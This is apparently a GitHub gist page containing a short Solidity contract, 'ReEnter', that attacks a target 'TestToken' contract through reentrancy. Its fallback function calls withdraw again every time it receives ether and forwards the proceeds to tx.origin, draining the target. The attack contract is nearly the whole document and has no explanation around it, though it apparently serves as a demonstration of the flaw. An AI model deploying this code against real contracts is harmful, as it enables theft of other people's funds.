-
-
Save maurelian/94e0cd609d8408f09cc5a6d360139713 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract ReEnter { | |
TestToken tt; | |
function ReEnter(address _target){ | |
tt = TestToken(_target); | |
} | |
function deposit() payable { | |
tt.deposit.value(msg.value)(); | |
} | |
function withdraw() { | |
tt.withdraw(50000000000000000); | |
} | |
function() payable { | |
tt.withdraw(50000000000000000); | |
tx.origin.send(msg.value); | |
} | |
}[C[D |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment